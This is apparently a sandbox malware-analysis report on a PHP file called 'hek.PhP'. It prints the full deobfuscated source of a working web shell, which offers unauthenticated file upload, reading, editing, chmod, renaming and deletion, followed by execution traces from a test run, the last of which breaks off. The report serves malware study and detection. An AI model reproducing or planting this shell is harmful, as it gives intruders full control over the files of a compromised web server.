PHP Malware Analysis

hek.PhP

md5: a1f9ab0f7627b53ea4215ca121b10322

Jump to:

Screenshot


Attributes

Environment

Files

Input

URLs


Deobfuscated PHP code

 <?php 
error_reporting(0);
session_start();
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<link href=\"https://fonts.googleapis.com/css?family=Kelly+Slab\" rel=\"stylesheet\" type=\"text/css\">\r\n<link href=\"https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css\" rel=\"stylesheet\" type=\"text/css\"/>\r\n<center>\r\n<style type=\"text/css\">\r\nbody {\r\n\tfont-family: Kelly Slab;\r\n\tbackground-color: black;\r\n\tcolor: lime;\r\n\t}\r\n#content tr:hover{\r\n\tbackground-color: grey;\r\n\ttext-shadow:0px 0px 10px #000000;\r\n\t}\r\n#content .first{\r\n\tcolor: #000000;\r\n\tbackground-image:url(#);\r\n\t}\r\n#content .first:hover{\r\n\tbackground-color: grey;\r\n\ttext-shadow:0px 0px 1px #339900;\r\n\t}\r\ntable, th, td {\r\n\t\tborder-collapse:collapse;\r\n\t\tpadding: 5px;\r\n\t\tcolor: lime;\r\n\t\t}\r\n.table_home, .th_home, .td_home { \r\n\t\tcolor: lime;\r\n\t\tborder: 2px solid grey;\r\n\t\tpadding: 7px;\r\n\t\t}\r\na{\r\n\tfont-size: 19px;\r\n\tcolor: #00ff00;\r\n\ttext-decoration: none;\r\n\t}\r\na:hover{\r\n\tcolor: white;\r\n\ttext-shadow:0px 0px 10px #339900;\r\n\t}\r\ninput,select,textarea{\r\n\tborder: 1px #ffffff solid;\r\n\t-moz-border-radius: 5px;\r\n\t-webkit-border-radius:5px;\r\n\tborder-radius:5px;\r\n\t}\r\n.close {\r\n\toverflow: auto;\r\n\tborder: 1px solid lime;\r\n\tbackground: lime;\r\n\tcolor: white;\r\n\t}\r\n.r {\r\n\tfloat: right;\r\n\ttext-align: right;\r\n\t}\r\n</style>\r\n\r\n<BODY>\r\n\r\n<table width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"left\">\r\n<tr><td>";
echo "<tr><td><font color='white'>\r\n<i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>\r\n<i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>\r\n<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
echo "<table width=\"95%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\r\n<tr align=\"center\"><td align=\"center\"><br>";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<i class=\"fa fa-folder-o\"></i> : <a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
echo "<br><br><br><font color=\"lime\"><form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File: <input type=\"file\" name=\"file\" style=\"color:lime;border:2px solid lime;\" required/></font>\r\n<input type=\"submit\" value=\"UPLOAD\" style=\"margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px\"/>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<br><br><font color=\"lime\">UPLOAD SUCCES !!!!</font><br/>";
    } else {
        echo "<script>alert(\"File Gagal Diupload !!\")</script>";
    }
}
echo "</form></td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>files >> ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo ' <textarea  style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    //Chmod
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<br><br><font color=\"lime\">CHANGE PERMISSION SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Change Permission Gagal !!\")</script>";
            }
        }
        echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
</form>';
    } elseif ($_GET['opt'] == 'btw') {
        $cwd = getcwd();
        echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
<input type="hidden" name="path" value="' . $cwd . '">
<input type="hidden" name="opt" value="delete">
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<br><br><font color=\"lime\">CHANGE NAME SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Change Name Gagal !!\")</script>";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Lanjut" style="height:30px;" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<br><br><font color=\"lime\">EDIT FILE SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Edit File Gagal !!\")</script>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    //delete dir
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<br><br><font color=\"lime\">DELETE DIR SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Delete Dir Gagal !!\")</script>>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<br><br><font color=\"lime\">DELETE FILE SUCCESS !!</font><br/>";
            } else {
                echo "<script>alert(\"Delete File Gagal !!\")</script>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    $pa = getcwd();
    echo "<div id=\"content\"><table width=\"95%\" class=\"table_home\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<th><center>Name</center></th>\r\n<th><center>Size</center></th>\r\n<th><center>Perm</center></th>\r\n<th><center>Options</center></th>\r\n</tr>\r\n<tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        echo "<tr>\r\n<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path={$path}/{$dir}\"> {$dir}</a></td>\r\n<td class=td_home><center>DIR</center></td>\r\n<td class=td_home><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"#57FF00\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"#FF0004\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n<td class=td_home><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">\r\n<option value=\"Action\">Action</option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>\r\n</form></center></td>\r\n</tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo "<tr>\r\n<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc={$path}/{$file}&path={$path}\"> {$file}</a></td>\r\n<td class=td_home><center>" . $size . "</center></td>\r\n<td class=td_home><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"#57FF00\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"#FF0004\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\r\n<td class=td_home><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">\r\n<option value=\"Action\">Action</option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"edit\">Edit</option>\r\n<option value=\"rename\">Rename</option>\r\n<option value=\"chmod\">Chmod</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>\r\n</form></center></td>\r\n</tr>";
    }
    echo "</table>\r\n</div>";
}
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
?>
</BODY>
</HTML>

Execution traces

data/traces/a1f9ab0f7627b53ea4215ca121b10322_trace-1676248000.1106.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:27:06.008427]
1	0	1	0.000152	393512
1	3	0	0.000488	450496	{main}	1		/var/www/html/uploads/hek.PhP	0	0
2	4	0	0.000509	450496	error_reporting	0		/var/www/html/uploads/hek.PhP	2	1	0
2	4	1	0.000525	450536
2	4	R			22527
2	5	0	0.000539	450496	session_start	0		/var/www/html/uploads/hek.PhP	3	0
2	5	1	0.000597	451248
2	5	R			TRUE
2	6	0	0.000613	451248	get_magic_quotes_gpc	0		/var/www/html/uploads/hek.PhP	5	0
2	6	1	0.000626	451248
2	6	R			FALSE
2	7	0	0.000641	451472	gethostbyname	0		/var/www/html/uploads/hek.PhP	76	1	'localhost'
2	7	1	0.000680	451552
2	7	R			'127.0.0.1'
2	8	0	0.000697	451568	php_uname	0		/var/www/html/uploads/hek.PhP	77	0
2	8	1	0.000711	451680
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000730	451248	getcwd	0		/var/www/html/uploads/hek.PhP	85	0
2	9	1	0.000743	451296
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hek.PhP	85	$path = '/var/www/html/uploads'
2	10	0	0.000770	451296	str_replace	0		/var/www/html/uploads/hek.PhP	87	3	'\\'	'/'	'/var/www/html/uploads'
2	10	1	0.000785	451392
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hek.PhP	87	$path = '/var/www/html/uploads'
2	11	0	0.000810	451296	explode	0		/var/www/html/uploads/hek.PhP	88	2	'/'	'/var/www/html/uploads'
2	11	1	0.000824	451872
2	11	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/hek.PhP	88	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/hek.PhP	90	$id = 0
1		A						/var/www/html/uploads/hek.PhP	92	$a = TRUE
1		A						/var/www/html/uploads/hek.PhP	90	$id = 1
1		A						/var/www/html/uploads/hek.PhP	98	$i = 0
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	90	$id = 2
1		A						/var/www/html/uploads/hek.PhP	98	$i = 0
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	90	$id = 3
1		A						/var/www/html/uploads/hek.PhP	98	$i = 0
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	90	$id = 4
1		A						/var/www/html/uploads/hek.PhP	98	$i = 0
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
1		A						/var/www/html/uploads/hek.PhP	98	$i++
2	12	0	0.001058	451800	scandir	0		/var/www/html/uploads/hek.PhP	218	1	'/var/www/html/uploads'
2	12	1	0.001088	452416
2	12	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.PhP', 5 => 'prepend.php']
1		A						/var/www/html/uploads/hek.PhP	218	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'hek.PhP', 5 => 'prepend.php']
2	13	0	0.001124	452384	getcwd	0		/var/www/html/uploads/hek.PhP	219	0
2	13	1	0.001137	452432
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/hek.PhP	219	$pa = '/var/www/html/uploads'
2	14	0	0.001163	452480	is_dir	0		/var/www/html/uploads/hek.PhP	230	1	'/var/www/html/uploads/.'
2	14	1	0.001177	452544
2	14	R			TRUE
2	15	0	0.001191	452512	is_dir	0		/var/www/html/uploads/hek.PhP	230	1	'/var/www/html/uploads/..'
2	15	1	0.001204	452560
2	15	R			TRUE
2	16	0	0.001218	452520	is_dir	0		/var/www/html/uploads/hek.PhP	230	1	'/var/www/html/uploads/.htaccess'
2	16	1	0.001232	452560
2	16	R			FALSE
2	17	0	0.001246	452520	is_dir	0		/var/www/html/uploads/hek.PhP	230	1	'/var/www/html/uploads/data'
2	17	1	0.001260	452560
2	17	R			TRUE
2	18	0	0.001273	452520	is_writable	0		/var/www/html/uploads/hek.PhP	235	1	'/var/www/html/uploads/data'
2	18	1	0.001290	452560
2	18	R			TRUE
2	19	0	0.001304	452520	perms	1		/var/www/html/uploads/hek.PhP	237	1	'/var/www/html/uploads/data'
3	20	0	0.001317	452520	fileperms	0		/var/www/html/uploads/hek.PhP	298	1	'/var/www/html/uploads/data'
3	20	1	0.001335	452560
3	20	R			16895
2		A						/var/www/html/uploads/hek.PhP	298	$perms = 16895
2		A						/var/www/html/uploads/hek.PhP	314	$info = 'd'
2		A						/var/www/html/uploads/hek.PhP	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	331	$info .= 'x'
2		A						/var/www/html/uploads/hek.PhP	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	335	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	338	$info .= 'x'
2		A						/var/www/html/uploads/hek.PhP	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	342	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	345	$info .= 'x'
2	19	1	0.001465	452560
2	19	R			'drwxrwxrwx'
2	21	0	0.001479	452520	is_writable	0		/var/www/html/uploads/hek.PhP	238	1	'/var/www/html/uploads/data'
2	21	1	0.001495	452560
2	21	R			TRUE
2	22	0	0.001509	452520	is_dir	0		/var/www/html/uploads/hek.PhP	230	1	'/var/www/html/uploads/hek.PhP'
2	22	1	0.001522	452560
2	22	R			FALSE
2	23	0	0.001536	452528	is_dir	0		/var/www/html/uploads/hek.PhP	230	1	'/var/www/html/uploads/prepend.php'
2	23	1	0.001550	452576
2	23	R			FALSE
2	24	0	0.001564	452520	is_file	0		/var/www/html/uploads/hek.PhP	258	1	'/var/www/html/uploads/.'
2	24	1	0.001577	452544
2	24	R			FALSE
2	25	0	0.001590	452512	is_file	0		/var/www/html/uploads/hek.PhP	258	1	'/var/www/html/uploads/..'
2	25	1	0.001603	452560
2	25	R			FALSE
2	26	0	0.001616	452520	is_file	0		/var/www/html/uploads/hek.PhP	258	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001630	452560
2	26	R			TRUE
2	27	0	0.001642	452520	filesize	0		/var/www/html/uploads/hek.PhP	259	1	'/var/www/html/uploads/.htaccess'
2	27	1	0.001655	452560
2	27	R			64
1		A						/var/www/html/uploads/hek.PhP	259	$size = 0.0625
2	28	0	0.001678	452464	round	0		/var/www/html/uploads/hek.PhP	260	2	0.0625	3
2	28	1	0.001692	452536
2	28	R			0.063
1		A						/var/www/html/uploads/hek.PhP	260	$size = 0.063
1		A						/var/www/html/uploads/hek.PhP	264	$size = '0.063 KB'
2	29	0	0.001733	452672	is_writable	0		/var/www/html/uploads/hek.PhP	271	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001749	452712
2	29	R			FALSE
2	30	0	0.001762	452672	is_readable	0		/var/www/html/uploads/hek.PhP	272	1	'/var/www/html/uploads/.htaccess'
2	30	1	0.001776	452712
2	30	R			TRUE
2	31	0	0.001790	452672	perms	1		/var/www/html/uploads/hek.PhP	273	1	'/var/www/html/uploads/.htaccess'
3	32	0	0.001802	452672	fileperms	0		/var/www/html/uploads/hek.PhP	298	1	'/var/www/html/uploads/.htaccess'
3	32	1	0.001815	452712
3	32	R			33188
2		A						/var/www/html/uploads/hek.PhP	298	$perms = 33188
2		A						/var/www/html/uploads/hek.PhP	308	$info = '-'
2		A						/var/www/html/uploads/hek.PhP	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	331	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	335	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	338	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	342	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	345	$info .= '-'
2	31	1	0.001932	452712
2	31	R			'-rw-r--r--'
2	33	0	0.001946	452672	is_writable	0		/var/www/html/uploads/hek.PhP	274	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.001961	452712
2	33	R			FALSE
2	34	0	0.001974	452672	is_readable	0		/var/www/html/uploads/hek.PhP	274	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.001989	452712
2	34	R			TRUE
2	35	0	0.002003	452672	is_file	0		/var/www/html/uploads/hek.PhP	258	1	'/var/www/html/uploads/data'
2	35	1	0.002018	452712
2	35	R			FALSE
2	36	0	0.002031	452672	is_file	0		/var/www/html/uploads/hek.PhP	258	1	'/var/www/html/uploads/hek.PhP'
2	36	1	0.002044	452712
2	36	R			TRUE
2	37	0	0.002056	452672	filesize	0		/var/www/html/uploads/hek.PhP	259	1	'/var/www/html/uploads/hek.PhP'
2	37	1	0.002068	452712
2	37	R			12369
1		A						/var/www/html/uploads/hek.PhP	259	$size = 12.0791015625
2	38	0	0.002092	452576	round	0		/var/www/html/uploads/hek.PhP	260	2	12.0791015625	3
2	38	1	0.002109	452648
2	38	R			12.079
1		A						/var/www/html/uploads/hek.PhP	260	$size = 12.079
1		A						/var/www/html/uploads/hek.PhP	264	$size = '12.079 KB'
2	39	0	0.002145	452672	is_writable	0		/var/www/html/uploads/hek.PhP	271	1	'/var/www/html/uploads/hek.PhP'
2	39	1	0.002159	452712
2	39	R			FALSE
2	40	0	0.002172	452672	is_readable	0		/var/www/html/uploads/hek.PhP	272	1	'/var/www/html/uploads/hek.PhP'
2	40	1	0.002186	452712
2	40	R			TRUE
2	41	0	0.002198	452672	perms	1		/var/www/html/uploads/hek.PhP	273	1	'/var/www/html/uploads/hek.PhP'
3	42	0	0.002210	452672	fileperms	0		/var/www/html/uploads/hek.PhP	298	1	'/var/www/html/uploads/hek.PhP'
3	42	1	0.002222	452712
3	42	R			33204
2		A						/var/www/html/uploads/hek.PhP	298	$perms = 33204
2		A						/var/www/html/uploads/hek.PhP	308	$info = '-'
2		A						/var/www/html/uploads/hek.PhP	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	331	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	335	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	338	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	342	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	345	$info .= '-'
2	41	1	0.002338	452712
2	41	R			'-rw-rw-r--'
2	43	0	0.002352	452672	is_writable	0		/var/www/html/uploads/hek.PhP	274	1	'/var/www/html/uploads/hek.PhP'
2	43	1	0.002367	452712
2	43	R			FALSE
2	44	0	0.002379	452672	is_readable	0		/var/www/html/uploads/hek.PhP	274	1	'/var/www/html/uploads/hek.PhP'
2	44	1	0.002393	452712
2	44	R			TRUE
2	45	0	0.002406	452680	is_file	0		/var/www/html/uploads/hek.PhP	258	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002421	452728
2	45	R			TRUE
2	46	0	0.002433	452688	filesize	0		/var/www/html/uploads/hek.PhP	259	1	'/var/www/html/uploads/prepend.php'
2	46	1	0.002446	452728
2	46	R			57
1		A						/var/www/html/uploads/hek.PhP	259	$size = 0.0556640625
2	47	0	0.002470	452584	round	0		/var/www/html/uploads/hek.PhP	260	2	0.0556640625	3
2	47	1	0.002482	452656
2	47	R			0.056
1		A						/var/www/html/uploads/hek.PhP	260	$size = 0.056
1		A						/var/www/html/uploads/hek.PhP	264	$size = '0.056 KB'
2	48	0	0.002517	452688	is_writable	0		/var/www/html/uploads/hek.PhP	271	1	'/var/www/html/uploads/prepend.php'
2	48	1	0.002532	452728
2	48	R			FALSE
2	49	0	0.002545	452688	is_readable	0		/var/www/html/uploads/hek.PhP	272	1	'/var/www/html/uploads/prepend.php'
2	49	1	0.002560	452728
2	49	R			TRUE
2	50	0	0.002573	452688	perms	1		/var/www/html/uploads/hek.PhP	273	1	'/var/www/html/uploads/prepend.php'
3	51	0	0.002585	452688	fileperms	0		/var/www/html/uploads/hek.PhP	298	1	'/var/www/html/uploads/prepend.php'
3	51	1	0.002598	452728
3	51	R			33261
2		A						/var/www/html/uploads/hek.PhP	298	$perms = 33261
2		A						/var/www/html/uploads/hek.PhP	308	$info = '-'
2		A						/var/www/html/uploads/hek.PhP	327	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	328	$info .= 'w'
2		A						/var/www/html/uploads/hek.PhP	331	$info .= 'x'
2		A						/var/www/html/uploads/hek.PhP	334	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	335	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	338	$info .= 'x'
2		A						/var/www/html/uploads/hek.PhP	341	$info .= 'r'
2		A						/var/www/html/uploads/hek.PhP	342	$info .= '-'
2		A						/var/www/html/uploads/hek.PhP	345	$info .= 'x'
2	50	1	0.002714	452728
2	50	R			'-rwxr-xr-x'
2	52	0	0.002817	452688	is_writable	0		/var/www/html/uploads/hek.PhP	274	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002834	452728
2	52	R			FALSE
2	53	0	0.002848	452688	is_readable	0		/var/www/html/uploads/hek.PhP	274	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.002863	452728
2	53	R			TRUE
1	3	1	0.002878	452624
			0.002912	326856
TRACE END   [2023-02-12 22:27:06.011218]

data/traces/a1f9ab0f7627b53ea4215ca121b10322_trace-1676252543.3823.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:42:49.280150]
1	0	1	0.000150	393512
1	3	0	0.000463	450496	{main}	1		/var/www/html/uploads/hek.php	0	0
2	4	0	0.000482	450496	error_reporting	0		/var/www/html/uploads/hek.php	2	1	0
2	4	1	0.000497	450536
2	4	R			22527
2	5	0	0.000511	450496	session_start	0		/var/www/html/uploads/hek.php	3	0
2	5	1	0.000567	451248
2	5	R			TRUE
2	6	0	0.000583	451248	get_magic_quotes_gpc	0		/var/www/html/uploads/hek.php	5	0
2	6	1	0.000596	451248
2	6	R			FALSE
2	7	0	0.000611	451472	gethostbyname	0		/var/www/html/uploads/hek.php	76	1	'localhost'
